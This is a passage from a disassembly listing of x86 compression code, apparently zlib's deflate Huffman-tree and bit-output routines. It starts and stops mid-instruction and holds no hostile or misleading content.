[edx+14h], ecx mov eax, [ebp+arg_0] xor ecx, ecx mov cx, [eax+16B0h] sar ecx, 8 mov edx, [ebp+arg_0] mov eax, [edx+8] mov edx, [ebp+arg_0] mov edx, [edx+14h] mov [eax+edx], cl mov eax, [ebp+arg_0] mov ecx, [eax+14h] add ecx, 1 mov edx, [ebp+arg_0] mov [edx+14h], ecx mov eax, [ebp+var_24] and eax, 0FFFFh mov ecx, [ebp+arg_0] mov edx, 10h sub edx, [ecx+16B4h] mov ecx, edx sar eax, cl mov ecx, [ebp+arg_0] mov [ecx+16B0h], ax mov edx, [ebp+arg_0] mov eax, [edx+16B4h] mov ecx, [ebp+var_20] lea edx, [eax+ecx-10h] mov eax, [ebp+arg_0] mov [eax+16B4h], edx jmp short loc_4C351B ; --------------------------------------------------------------------------- loc_4C34CA: ; CODE XREF: sub_4C3039+3AFj mov ecx, [ebp+var_4] xor edx, edx mov dl, byte_4F2594[ecx] mov eax, [ebp+arg_0] xor ecx, ecx mov cx, [eax+edx*4+0A76h] mov edx, ecx mov eax, [ebp+arg_0] mov ecx, [eax+16B4h] shl edx, cl mov ecx, [ebp+arg_0] mov ax, [ecx+16B0h] or ax, dx mov ecx, [ebp+arg_0] mov [ecx+16B0h], ax mov edx, [ebp+arg_0] mov eax, [edx+16B4h] add eax, [ebp+var_20] mov ecx, [ebp+arg_0] mov [ecx+16B4h], eax loc_4C351B: ; CODE XREF: sub_4C3039+48Fj jmp loc_4C33BB ; --------------------------------------------------------------------------- loc_4C3520: ; CODE XREF: sub_4C3039+391j mov edx, [ebp+arg_4] sub edx, 1 push edx mov eax, [ebp+arg_0] add eax, 8Ch push eax mov ecx, [ebp+arg_0] push ecx call sub_4C355C add esp, 0Ch mov edx, [ebp+arg_8] sub edx, 1 push edx mov eax, [ebp+arg_0] add eax, 980h push eax mov ecx, [ebp+arg_0] push ecx call sub_4C355C add esp, 0Ch mov esp, ebp pop ebp retn sub_4C3039 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4C355C proc near ; CODE XREF: sub_4C3039+4FBp ; sub_4C3039+517p var_5C = dword ptr -5Ch var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 5Ch mov [ebp+var_18], 0FFFFFFFFh mov eax, [ebp+arg_4] xor ecx, ecx mov cx, [eax+2] mov [ebp+var_8], ecx mov [ebp+var_4], 0 mov [ebp+var_C], 7 mov [ebp+var_10], 4 cmp [ebp+var_8], 0 jnz short loc_4C359E mov [ebp+var_C], 8Ah mov [ebp+var_10], 3 loc_4C359E: ; CODE XREF: sub_4C355C+32j mov [ebp+var_1C], 0 jmp short loc_4C35B0 ; --------------------------------------------------------------------------- loc_4C35A7: ; CODE XREF: sub_4C355C+8Fj ; sub_4C355C:loc_4C402Bj mov edx, [ebp+var_1C] add edx, 1 mov [ebp+var_1C], edx loc_4C35B0: ; CODE XREF: sub_4C355C+49j mov eax, [ebp+var_1C] cmp eax, [ebp+arg_8] jg loc_4C4030 mov ecx, [ebp+var_8] mov [ebp+var_14], ecx mov edx, [ebp+var_1C] mov eax, [ebp+arg_4] xor ecx, ecx mov cx, [eax+edx*4+6] mov [ebp+var_8], ecx mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_4], edx mov eax, [ebp+var_4] cmp eax, [ebp+var_C] jge short loc_4C35ED mov ecx, [ebp+var_14] cmp ecx, [ebp+var_8] jnz short loc_4C35ED jmp short loc_4C35A7 ; --------------------------------------------------------------------------- loc_4C35ED: ; CODE XREF: sub_4C355C+85j ; sub_4C355C+8Dj mov edx, [ebp+var_4] cmp edx, [ebp+var_10] jge loc_4C3755 loc_4C35F9: ; CODE XREF: sub_4C355C+1EEj mov eax, [ebp+var_14] mov ecx, [ebp+arg_0] xor edx, edx mov dx, [ecx+eax*4+0A76h] mov [ebp+var_20], edx mov eax, 10h sub eax, [ebp+var_20] mov ecx, [ebp+arg_0] cmp [ecx+16B4h], eax jle loc_4C36F6 mov edx, [ebp+var_14] mov eax, [ebp+arg_0] xor ecx, ecx mov cx, [eax+edx*4+0A74h] mov [ebp+var_24], ecx mov edx, [ebp+arg_0] mov eax, [ebp+var_24] mov ecx, [edx+16B4h] shl eax, cl mov ecx, [ebp+arg_0] mov dx, [ecx+16B0h] or dx, ax mov eax, [ebp+arg_0] mov [eax+16B0h], dx mov ecx, [ebp+arg_0] xor edx, edx mov dx, [ecx+16B0h] and edx, 0FFh mov eax, [ebp+arg_0] mov ecx, [eax+8] mov eax, [ebp+arg_0] mov eax, [eax+14h] mov [ecx+eax], dl mov ecx, [ebp+arg_0] mov edx, [ecx+14h] add edx, 1 mov eax, [ebp+arg_0] mov [eax+14h], edx mov ecx, [ebp+arg_0] xor edx, edx mov dx, [ecx+16B0h] sar edx, 8 mov eax, [ebp+arg_0] mov ecx, [eax+8] mov eax, [ebp+arg_0] mov eax, [eax+14h] mov [ecx+eax], dl mov ecx, [ebp+arg_0] mov edx, [ecx+14h] add edx, 1 mov eax, [ebp+arg_0] mov [eax+14h], edx mov edx, [ebp+var_24] and edx, 0FFFFh mov eax, [ebp+arg_0] mov ecx, 10h sub ecx, [eax+16B4h] sar edx, cl mov ecx, [ebp+arg_0] mov [ecx+16B0h], dx mov edx, [ebp+arg_0] mov eax, [edx+16B4h] mov ecx, [ebp+var_20] lea edx, [eax+ecx-10h] mov eax, [ebp+arg_0] mov [eax+16B4h], edx jmp short loc_4C373D ; --------------------------------------------------------------------------- loc_4C36F6: ; CODE XREF: sub_4C355C+C1j mov ecx, [ebp+var_14] mov edx, [ebp+arg_0] xor eax, eax mov ax, [edx+ecx*4+0A74h] mov ecx, [ebp+arg_0] mov ecx, [ecx+16B4h] shl eax, cl mov edx, [ebp+arg_0] mov cx, [edx+16B0h] or cx, ax mov edx, [ebp+arg_0] mov [edx+16B0h], cx mov eax, [ebp+arg_0] mov ecx, [eax+16B4h] add ecx, [ebp+var_20] mov edx, [ebp+arg_0] mov [edx+16B4h], ecx loc_4C373D: ; CODE XREF: sub_4C355C+198j mov eax, [ebp+var_4] sub eax, 1 mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz loc_4C35F9 jmp loc_4C3FE2 ; --------------------------------------------------------------------------- loc_4C3755: ; CODE XREF: sub_4C355C+97j cmp [ebp+var_14], 0 jz loc_4C3B1B mov ecx, [ebp+var_14] cmp ecx, [ebp+var_18] jz loc_4C38B9 mov edx, [ebp+var_14] mov eax, [ebp+arg_0] xor ecx, ecx mov cx, [eax+edx*4+0A76h] mov [ebp+var_28], ecx mov edx, 10h sub edx, [ebp+var_28] mov eax, [ebp+arg_0] cmp [eax+16B4h], edx jle loc_4C3869 mov ecx, [ebp+var_14] mov edx, [ebp+arg_0] xor eax, eax mov ax, [edx+ecx*4+0A74h] mov [ebp+var_2C], eax mov ecx, [ebp+arg_0] mov edx, [ebp+var_2C] mov ecx, [ecx+16B4h] shl edx, cl mov eax, [ebp+arg_0] mov cx, [eax+16B0h] or cx, dx mov edx, [ebp+arg_0] mov [edx+16B0h], cx mov eax, [ebp+arg_0] xor ecx, ecx mov cx, [eax+16B0h] and ecx, 0FFh mov edx, [ebp+arg_0] mov eax, [edx+8] mov edx, [ebp+arg_0] mov edx, [edx+14h] mov [eax+edx], cl mov eax, [ebp+arg_0] mov ecx, [eax+14h] add ecx, 1 mov edx, [ebp+arg_0] mov [edx+14h], ecx mov eax, [ebp+arg_0] xor ecx, ecx mov cx, [eax+16B0h] sar ecx, 8 mov edx, [ebp+arg_0] mov eax, [edx+8] mov edx, [ebp+arg_0] mov edx, [edx+14h] mov [eax+edx], cl mov eax, [ebp+arg_0] mov ecx, [eax+14h] add ecx, 1 mov edx, [ebp+arg_0] mov [edx+14h], ecx mov eax, [ebp+var_2C] and eax, 0FFFFh mov ecx, [ebp+arg_0] mov edx, 10h sub edx, [ecx+16B4h] mov ecx, edx sar eax, cl mov ecx, [ebp+arg_0] mov [ecx+16B0h], ax mov edx, [ebp+arg_0] mov eax, [edx+16B4h] mov ecx, [ebp+var_28] lea edx, [eax+ecx-10h] mov eax, [ebp+arg_0] mov [eax+16B4h], edx jmp short loc_4C38B0 ; --------------------------------------------------------------------------- loc_4C3869: ; CODE XREF: sub_4C355C+233j mov ecx, [ebp+var_14] mov edx, [ebp+arg_0] xor eax, eax mov ax, [edx+ecx*4+0A74h] mov ecx, [ebp+arg_0] mov ecx, [ecx+16B4h] shl eax, cl mov edx, [ebp+arg_0] mov cx, [edx+16B0h] or cx, ax mov edx, [ebp+arg_0] mov [edx+16B0h], cx mov eax, [ebp+arg_0] mov ecx, [eax+16B4h] add ecx, [ebp+var_28] mov edx, [ebp+arg_0] mov [edx+16B4h], ecx loc_4C38B0: ; CODE XREF: sub_4C355C+30Bj mov eax, [ebp+var_4] sub eax, 1 mov [ebp+var_4], eax loc_4C38B9: ; CODE XREF: sub_4C355C+209j mov ecx, [ebp+arg_0] xor edx, edx mov dx, [ecx+0AB6h] mov [ebp+var_30], edx mov eax, 10h sub eax, [ebp+var_30] mov ecx, [ebp+arg_0] cmp [ecx+16B4h], eax jle loc_4C39AF mov edx, [ebp+arg_0] xor eax, eax mov ax, [edx+0AB4h] mov [ebp+var_34], eax mov ecx, [ebp+arg_0] mov edx, [ebp+var_34] mov ecx, [ecx+16B4h] shl edx, cl mov eax, [ebp+arg_0] mov cx, [eax+16B0h] or cx, dx mov edx, [ebp+arg_0] mov [edx+16B0h], cx mov eax, [ebp+arg_0] xor ecx, ecx mov cx, [eax+16B0h] and ecx, 0FFh mov edx, [ebp+arg_0] mov eax, [edx+8] mov edx, [ebp+arg_0] mov edx, [edx+14h] mov [eax+edx], cl mov eax, [ebp+arg_0] mov ecx, [eax+14h] add ecx, 1 mov edx, [ebp+arg_0] mov [edx+14h], ecx mov eax, [ebp+arg_0] xor ecx, ecx mov cx, [eax+16B0h] sar ecx, 8 mov edx, [ebp+arg_0] mov eax, [edx+8] mov edx, [ebp+arg_0] mov edx, [edx+14h] mov [eax+edx], cl mov eax, [ebp+arg_0] mov ecx, [eax+14h] add ecx, 1 mov edx, [ebp+arg_0] mov [edx+14h], ecx mov eax, [ebp+var_34] and eax, 0FFFFh mov ecx, [ebp+arg_0] mov edx, 10h sub edx, [ecx+16B4h] mov ecx, edx sar eax, cl mov ecx, [ebp+arg_0] mov [ecx+16B0h], ax mov edx, [ebp+arg_0] mov eax, [edx+16B4h] mov ecx, [ebp+var_30] lea edx, [eax+ecx-10h] mov eax, [ebp+arg_0] mov [eax+16B4h], edx jmp short loc_4C39F2 ; --------------------------------------------------------------------------- loc_4C39AF: ; CODE XREF: sub_4C355C+37Dj mov ecx, [ebp+arg_0] xor edx, edx mov dx, [ecx+0AB4h] mov eax, [ebp+arg_0] mov ecx, [eax+16B4h] shl edx, cl mov ecx, [ebp+arg_0] mov ax, [ecx+16B0h] or ax, dx mov ecx, [ebp+arg_0] mov [ecx+16B0h], ax mov edx, [ebp+arg_0] mov eax, [edx+16B4h] add eax, [ebp+var_30] mov ecx, [ebp+arg_0] mov [ecx+16B4h], eax loc_4C39F2: ; CODE XREF: sub_4C355C+451j mov [ebp+var_38], 2 mov edx, 10h sub edx, [ebp+var_38] mov eax, [ebp+arg_0] cmp [eax+16B4h], edx jle loc_4C3AD9 mov ecx, [ebp+var_4] sub ecx, 3 mov [ebp+var_3C], ecx mov edx, [ebp+arg_0] mov eax, [ebp+var_3C] mov ecx, [edx+16B4h] shl eax, cl mov ecx, [ebp+arg_0] mov dx, [ecx+16B0h] or dx, ax mov eax, [ebp+arg_0] mov [eax+16B0h], dx mov ecx, [ebp+arg_0] xor edx, edx mov dx, [ecx+16B0h] and edx, 0FFh mov eax, [ebp+arg_0] mov ecx, [eax+8] mov eax, [ebp+arg_0] mov eax, [eax+14h] mov [ecx+eax], dl mov ecx, [ebp+arg_0] mov edx, [ecx+14h] add edx, 1 mov eax, [ebp+arg_0] mov [eax+14h], edx mov ecx, [ebp+arg_0] xor edx, edx mov dx, [ecx+16B0h] sar edx, 8 mov eax, [ebp+arg_0] mov ecx, [eax+8] mov eax, [ebp+arg_0] mov eax, [eax+14h] mov [ecx+eax], dl mov ecx, [ebp+arg_0] mov edx, [ecx+14h] add edx, 1 mov eax, [ebp+arg_0] mov [eax+14h], edx mov edx, [ebp+var_3C] and edx, 0FFFFh mov eax, [ebp+arg_0] mov ecx, 10h sub ecx, [eax+16B4h] sar edx, cl mov ecx, [ebp+arg_0] mov [ecx+16B0h], dx mov edx, [ebp+arg_0] mov eax, [edx+16B4h] mov ecx, [ebp+var_38] lea edx, [eax+ecx-10h] mov eax, [ebp+arg_0] mov [eax+16B4h], edx jmp short loc_4C3B16 ; --------------------------------------------------------------------------- loc_4C3AD9: ; CODE XREF: sub_4C355C+4AEj mov edx, [ebp+var_4] sub edx, 3 mov eax, [ebp+arg_0] mov ecx, [eax+16B4h] shl edx, cl mov ecx, [ebp+arg_0] mov ax, [ecx+16B0h] or ax, dx mov ecx, [ebp+arg_0] mov [ecx+16B0h], ax mov edx, [ebp+arg_0] mov eax, [edx+16B4h] add eax, [ebp+var_38] mov ecx, [ebp+arg_0] mov [ecx+16B4h], eax loc_4C3B16: ; CODE XREF: sub_4C355C+57Bj jmp loc_4C3FE2 ; --------------------------------------------------------------------------- loc_4C3B1B: ; CODE XREF: sub_4C355C+1FDj cmp [ebp+var_4], 0Ah jg loc_4C3D86 mov edx, [ebp+arg_0] xor eax, eax mov ax, [edx+0ABAh] mov [ebp+var_40], eax mov ecx, 10h sub ecx, [ebp+var_40] mov edx, [ebp+arg_0] cmp [edx+16B4h], ecx jle loc_4C3C1A mov eax, [ebp+arg_0] xor ecx, ecx mov cx, [eax+0AB8h] mov [ebp+var_44], ecx mov edx, [ebp+arg_0] mov eax, [ebp+var_44] mov ecx, [edx+16B4h] shl eax, cl mov ecx, [ebp+arg_0] mov dx, [ecx+16B0h] or dx, ax mov eax, [ebp+arg_0] mov [eax+16B0h], dx mov ecx, [ebp+arg_0] xor edx, edx mov dx, [ecx+16B0h] and edx, 0FFh mov eax, [ebp+arg_0] mov ecx, [eax+8] mov eax, [ebp+arg_0] mov eax, [eax+14h] mov [ecx+eax], dl mov ecx, [ebp+arg_0] mov edx, [ecx+14h] add edx, 1 mov eax, [ebp+arg_0] mov [eax+14h], edx mov ecx, [ebp+arg_0] xor edx, edx mov dx, [ecx+16B0h] sar edx, 8 mov eax, [ebp+arg_0] mov ecx, [eax+8] mov eax, [ebp+arg_0] mov eax, [eax+14h] mov [ecx+eax], dl mov ecx, [ebp+arg_0] mov edx, [ecx+14h] add edx, 1 mov eax, [ebp+arg_0] mov [eax+14h], edx mov edx, [ebp+var_44] and edx, 0FFFFh mov eax, [ebp+arg_0] mov ecx, 10h sub ecx, [eax+16B4h] sar edx, cl mov ecx, [ebp+arg_0] mov [ecx+16B0h], dx mov edx, [ebp+arg_0] mov eax, [edx+16B4h] mov ecx, [ebp+var_40] lea edx, [eax+ecx-10h] mov eax, [ebp+arg_0] mov [eax+16B4h], edx jmp short loc_4C3C5D ; --------------------------------------------------------------------------- loc_4C3C1A: ; CODE XREF: sub_4C355C+5E9j mov ecx, [ebp+arg_0] xor edx, edx mov dx, [ecx+0AB8h] mov eax, [ebp+arg_0] mov ecx, [eax+16B4h] shl edx, cl mov ecx, [ebp+arg_0] mov ax, [ecx+16B0h] or ax, dx mov ecx, [ebp+arg_0] mov [ecx+16B0h], ax mov edx, [ebp+arg_0] mov eax, [edx+16B4h] add eax, [ebp+var_40] mov ecx, [ebp+arg_0] mov [ecx+16B4h], eax loc_4C3C5D: ; CODE XREF: sub_4C355C+6BCj mov [ebp+var_48], 3 mov edx, 10h sub edx, [ebp+var_48] mov eax, [ebp+arg_0] cmp [eax+16B4h], edx jle loc_4C3D44 mov ecx, [ebp+var_4] sub ecx, 3 mov [ebp+var_4C], ecx mov edx, [ebp+arg_0] mov eax, [ebp+var_4C] mov ecx, [edx+16B4h] shl eax, cl mov ecx, [ebp+arg_0] mov dx, [ecx+16B0h] or dx, ax mov eax, [ebp+arg_0] mov [eax+16B0h], dx mov ecx, [ebp+arg_0] xor edx, edx mov dx, [ecx+16B0h] and edx, 0FFh mov eax, [ebp+arg_0] mov ecx, [eax+8] mov eax, [ebp+arg_0] mov eax, [eax+14h] mov [ecx+eax], dl mov ecx, [ebp+arg_0] mov edx, [ecx+14h] add edx, 1 mov eax, [ebp+arg_0] mov [eax+14h], edx mov ecx, [ebp+arg_0] xor edx, edx mov dx, [ecx+16B0h] sar edx, 8 mov eax, [ebp+arg_0] mov ecx, [eax+8] mov eax, [ebp+arg_0] mov eax, [eax+14h] mov [ecx+eax], dl mov ecx, [ebp+arg_0] mov edx, [ecx+14h] add edx, 1 mov eax, [ebp+arg_0] mov [eax+14h], edx mov edx, [ebp+var_4C] and edx, 0FFFFh mov eax, [ebp+arg_0] mov ecx, 10h sub ecx, [eax+16B4h] sar edx, cl mov ecx, [ebp+arg_0] mov [ecx+16B0h], dx mov edx, [ebp+arg_0] mov eax, [edx+16B4h] mov ecx, [ebp+var_48] lea edx, [eax+ecx-10h] mov eax, [ebp+arg_0] mov [eax+16B4h], edx jmp short loc_4C3D81 ; --------------------------------------------------------------------------- loc_4C3D44: ; CODE XREF: sub_4C355C+719j mov edx, [ebp+var_4] sub edx, 3 mov eax, [ebp+arg_0] mov ecx, [eax+16B4h] shl edx, cl mov ecx, [ebp+arg_0] mov ax, [ecx+16B0h] or ax, dx mov ecx, [ebp+arg_0] mov [ecx+16B0h], ax mov edx, [ebp+arg_0] mov eax, [edx+16B4h] add eax, [ebp+var_48] mov ecx, [ebp+arg_0] mov [ecx+16B4h], eax loc_4C3D81: ; CODE XREF: sub_4C355C+7E6j jmp loc_4C3FE2 ; --------------------------------------------------------------------------- loc_4C3D86: ; CODE XREF: sub_4C355C+5C3j mov edx, [ebp+arg_0] xor eax, eax mov ax, [edx+0ABEh] mov [ebp+var_50], eax mov ecx, 10h sub ecx, [ebp+var_50] mov edx, [ebp+arg_0] cmp [edx+16B4h], ecx jle loc_4C3E7B mov eax, [ebp+arg_0] xor ecx, ecx mov cx, [eax+0ABCh] mov [ebp+var_54], ecx mov edx, [ebp+arg_0] mov eax, [ebp+var_54] mov ecx, [edx+16B4h] shl eax, cl mov ecx, [ebp+arg_0] mov dx, [ecx+16B0h] or dx, ax mov eax, [ebp+arg_0] mov [eax+16B0h], dx mov ecx, [ebp+arg_0] xor edx, edx mov dx, [ecx+16B0h] and edx, 0FFh mov eax, [ebp+arg_0] mov ecx, [eax+8] mov eax, [ebp+arg_0] mov eax, [eax+14h] mov [ecx+eax], dl mov ecx, [ebp+arg_0] mov edx, [ecx+14h] add edx, 1 mov eax, [ebp+arg_0] mov [eax+14h], edx mov ecx, [ebp+arg_0] xor edx, edx mov dx, [ecx+16B0h] sar edx, 8 mov eax, [ebp+arg_0] mov ecx, [eax+8] mov eax, [ebp+arg_0] mov eax, [eax+14h] mov [ecx+eax], dl mov ecx, [ebp+arg_0] mov edx, [ecx+14h] add edx, 1 mov eax, [ebp+arg_0] mov [eax+14h], edx mov edx, [ebp+var_54] and edx, 0FFFFh mov eax, [ebp+arg_0] mov ecx, 10h sub ecx, [eax+16B4h] sar edx, cl mov ecx, [ebp+arg_0] mov [ecx+16B0h], dx mov edx, [ebp+arg_0] mov eax, [edx+16B4h] mov ecx, [ebp+var_50] lea edx, [eax+ecx-10h] mov eax, [ebp+arg_0] mov [eax+16B4h], edx jmp short loc_4C3EBE ; --------------------------------------------------------------------------- loc_4C3E7B: ; CODE XREF: sub_4C355C+84Aj mov ecx, [ebp+arg_0] xor edx, edx mov dx, [ecx+0ABCh] mov eax, [ebp+arg_0] mov ecx, [eax+16B4h] shl edx, cl mov ecx, [ebp+arg_0] mov ax, [ecx+16B0h] or ax, dx mov ecx, [ebp+arg_0] mov [ecx+16B0h], ax mov edx, [ebp+arg_0] mov eax, [edx+16B4h] add eax, [ebp+var_50] mov ecx, [ebp+arg_0] mov [ecx+16B4h], eax loc_4C3EBE: ; CODE XREF: sub_4C355C+91Dj mov [ebp+var_58], 7 mov edx, 10h sub edx, [ebp+var_58] mov eax, [ebp+arg_0] cmp [eax+16B4h], edx jle loc_4C3FA5 mov ecx, [ebp+var_4] sub ecx, 0Bh mov [ebp+var_5C], ecx mov edx, [ebp+arg_0] mov eax, [ebp+var_5C] mov ecx, [edx+16B4h] shl eax, cl mov ecx, [ebp+arg_0] mov dx, [ecx+16B0h] or dx, ax mov eax, [ebp+arg_0] mov [eax+16B0h], dx mov ecx, [ebp+arg_0] xor edx, edx mov dx, [ecx+16B0h] and edx, 0FFh mov eax, [ebp+arg_0] mov ecx, [eax+8] mov eax, [ebp+arg_0] mov eax, [eax+14h] mov [ecx+eax], dl mov ecx, [ebp+arg_0] mov edx, [ecx+14h] add edx, 1 mov eax, [ebp+arg_0] mov [eax+14h], edx mov ecx, [ebp+arg_0] xor edx, edx mov dx, [ecx+16B0h] sar edx, 8 mov eax, [ebp+arg_0] mov ecx, [eax+8] mov eax, [ebp+arg_0] mov eax, [eax+14h] mov [ecx+eax], dl mov ecx, [ebp+arg_0] mov edx, [ecx+14h] add edx, 1 mov eax, [ebp+arg_0] mov [eax+14h], edx mov edx, [ebp+var_5C] and edx, 0FFFFh mov eax, [ebp+arg_0] mov ecx, 10h sub ecx, [eax+16B4h] sar edx, cl mov ecx, [ebp+arg_0] mov [ecx+16B0h], dx mov edx, [ebp+arg_0] mov eax, [edx+16B4h] mov ecx, [ebp+var_58] lea edx, [eax+ecx-10h] mov eax, [ebp+arg_0] mov [eax+16B4h], edx jmp short loc_4C3FE2 ; --------------------------------------------------------------------------- loc_4C3FA5: ; CODE XREF: sub_4C355C+97Aj mov edx, [ebp+var_4] sub edx, 0Bh mov eax, [ebp+arg_0] mov ecx, [eax+16B4h] shl edx, cl mov ecx, [ebp+arg_0] mov ax, [ecx+16B0h] or ax, dx mov ecx, [ebp+arg_0] mov [ecx+16B0h], ax mov edx, [ebp+arg_0] mov eax, [edx+16B4h] add eax, [ebp+var_58] mov ecx, [ebp+arg_0] mov [ecx+16B4h], eax loc_4C3FE2: ; CODE XREF: sub_4C355C+1F4j ; sub_4C355C:loc_4C3B16j ... mov [ebp+var_4], 0 mov edx, [ebp+var_14] mov [ebp+var_18], edx cmp [ebp+var_8], 0 jnz short loc_4C4005 mov [ebp+var_C], 8Ah mov [ebp+var_10], 3 jmp short loc_4C402B ; --------------------------------------------------------------------------- loc_4C4005: ; CODE XREF: sub_4C355C+A97j mov eax, [ebp+var_14] cmp eax, [ebp+var_8] jnz short loc_4C401D mov [ebp+var_C], 6 mov [ebp+var_10], 3 jmp short loc_4C402B ; --------------------------------------------------------------------------- loc_4C401D: ; CODE XREF: sub_4C355C+AAFj mov [ebp+var_C], 7 mov [ebp+var_10], 4 loc_4C402B: ; CODE XREF: sub_4C355C+AA7j ; sub_4C355C+ABFj jmp loc_4C35A7 ; --------------------------------------------------------------------------- loc_4C4030: ; CODE XREF: sub_4C355C+5Aj mov esp, ebp pop ebp retn sub_4C355C endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx mov eax, [ebp+8] mov ecx, [eax+1698h] mov edx, [ebp+8] mov eax, [edx+169Ch] mov dx, [ebp+0Ch] mov [eax+ecx*2], dx mov eax, [ebp+8] mov ecx, [eax+1690h] mov edx, [ebp+8] mov eax, [edx+1698h] mov dl, [ebp+10h] mov [ecx+eax], dl mov eax, [ebp+8] mov ecx, [eax+1698h] add ecx, 1 mov edx, [ebp+8] mov [edx+1698h], ecx cmp dword ptr [ebp+0Ch], 0 jnz short loc_4C40AA mov eax, [ebp+10h] mov ecx, [ebp+8] mov dx, [ecx+eax*4+8Ch] add dx, 1 mov eax, [ebp+10h] mov ecx, [ebp+8] mov [ecx+eax*4+8Ch], dx jmp loc_4C4142 ; --------------------------------------------------------------------------- loc_4C40AA: ; CODE XREF: .text:004C4083j mov edx, [ebp+8] mov eax, [edx+16A8h] add eax, 1 mov ecx, [ebp+8] mov [ecx+16A8h], eax mov edx, [ebp+0Ch] sub edx, 1 mov [ebp+0Ch], edx mov eax, [ebp+10h] xor ecx, ecx mov cl, byte_4F2CA0[eax] mov edx, [ebp+8] mov ax, [edx+ecx*4+490h] add ax, 1 mov ecx, [ebp+10h] xor edx, edx mov dl, byte_4F2CA0[ecx] mov ecx, [ebp+8] mov [ecx+edx*4+490h], ax cmp dword ptr [ebp+0Ch], 100h jnb short loc_4C4111 mov edx, [ebp+0Ch] xor eax, eax mov al, byte_4F2AA0[edx] mov [ebp-4], eax jmp short loc_4C4122 ; --------------------------------------------------------------------------- loc_4C4111: ; CODE XREF: .text:004C40FFj mov ecx, [ebp+0Ch] shr ecx, 7 xor edx, edx mov dl, byte_4F2BA0[ecx] mov [ebp-4], edx loc_4C4122: ; CODE XREF: .text:004C410Fj mov eax, [ebp-4] mov ecx, [ebp+8] mov dx, [ecx+eax*4+980h] add dx, 1 mov eax, [ebp-4] mov ecx, [ebp+8] mov [ecx+eax*4+980h], dx loc_4C4142: ; CODE XREF: .text:004C40A5j mov edx, [ebp+8] mov eax, [edx+1694h] sub eax, 1 mov ecx, [ebp+8] xor edx, edx cmp [ecx+1698h], eax setz dl mov eax, edx mov esp, ebp pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4C4162 proc near ; CODE XREF: sub_4C20F2+21Cp ; sub_4C20F2+392p var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 48h mov [ebp+var_14], 0 mov eax, [ebp+arg_0] cmp dword ptr [eax+1698h], 0 jz loc_4C4859 loc_4C417F: ; CODE XREF: sub_4C4162+6F1j mov ecx, [ebp+arg_0] mov edx, [ecx+169Ch] mov eax, [ebp+var_14] xor ecx, ecx mov cx, [edx+eax*2] mov [ebp+var_8], ecx mov edx, [ebp+arg_0] mov eax, [edx+1690h] mov ecx, [ebp+var_14] xor edx, edx mov dl, [eax+ecx] mov [ebp+var_C], edx mov eax, [ebp+var_14] add eax, 1 mov [ebp+var_14], eax cmp [ebp+var_8], 0 jnz loc_4C42FA mov ecx, [ebp+var_C] mov edx, [ebp+arg_4] xor eax, eax mov ax, [edx+ecx*4+2] mov [ebp+var_18], eax mov ecx, 10h sub ecx, [ebp+var_18] mov edx, [ebp+arg_0] cmp [edx+16B4h], ecx jle loc_4C42B2 mov eax, [ebp+var_C] mov ecx, [ebp+arg_4] xor edx, edx mov dx, [ecx+eax*4] mov [ebp+var_1C], edx mov eax, [ebp+arg_0] mov edx, [ebp+var_1C] mov ecx, [eax+16B4h] shl edx, cl mov eax, [ebp+arg_0] mov cx, [eax+16B0h] or cx, dx mov edx, [ebp+arg_0] mov [edx+16B0h], cx mov eax, [ebp+arg_0] xor ecx, ecx mov cx, [eax+16B0h] and ecx, 0FFh mov edx, [ebp+arg_0] mov eax, [edx+8] mov edx, [ebp+arg_0] mov edx, [edx+14h] mov [eax+edx], cl mov eax, [ebp+arg_0] mov ecx, [eax+14h] add ecx, 1 mov edx, [ebp+arg_0] mov [edx+14h], ecx mov eax, [ebp+arg_0] xor ecx, ecx mov cx, [eax+16B0h] sar ecx, 8 mov edx, [ebp+arg_0] mov eax, [edx+8] mov edx, [ebp+arg_0] mov edx, [edx+14h] mov [eax+edx], cl mov eax, [ebp+arg_0] mov ecx, [eax+14h] add ecx, 1 mov edx, [ebp+arg_0] mov [edx+14h], ecx mov eax, [ebp+var_1C] and eax, 0FFFFh mov ecx, [ebp+arg_0] mov edx, 10h sub edx, [ecx+16B4h] mov ecx, edx sar eax, cl mov ecx, [ebp+arg_0] mov [ecx+16B0h], ax mov edx, [ebp+arg_0] mov eax, [edx+16B4h] mov ecx, [ebp+var_18] lea edx, [eax+ecx-10h] mov eax, [ebp+arg_0] mov [eax+16B4h], edx jmp short loc_4C42F5 ; --------------------------------------------------------------------------- loc_4C42B2: ; CODE XREF: sub_4C4162+7Aj mov ecx, [ebp+var_C] mov edx, [ebp+arg_4] xor eax, eax mov ax, [edx+ecx*4] mov ecx, [ebp+arg_0] mov ecx, [ecx+16B4h] shl eax, cl mov edx, [ebp+arg_0] mov cx, [edx+16B0h] or cx, ax mov edx, [ebp+arg_0] mov [edx+16B0h], cx mov eax, [ebp+arg_0] mov ecx, [eax+16B4h] add ecx, [ebp+var_18] mov edx, [ebp+arg_0] mov [edx+16B4h], ecx loc_4C42F5: ; CODE XREF: sub_4C4162+14Ej jmp loc_4C4847 ; --------------------------------------------------------------------------- loc_4C42FA: ; CODE XREF: sub_4C4162+53j mov 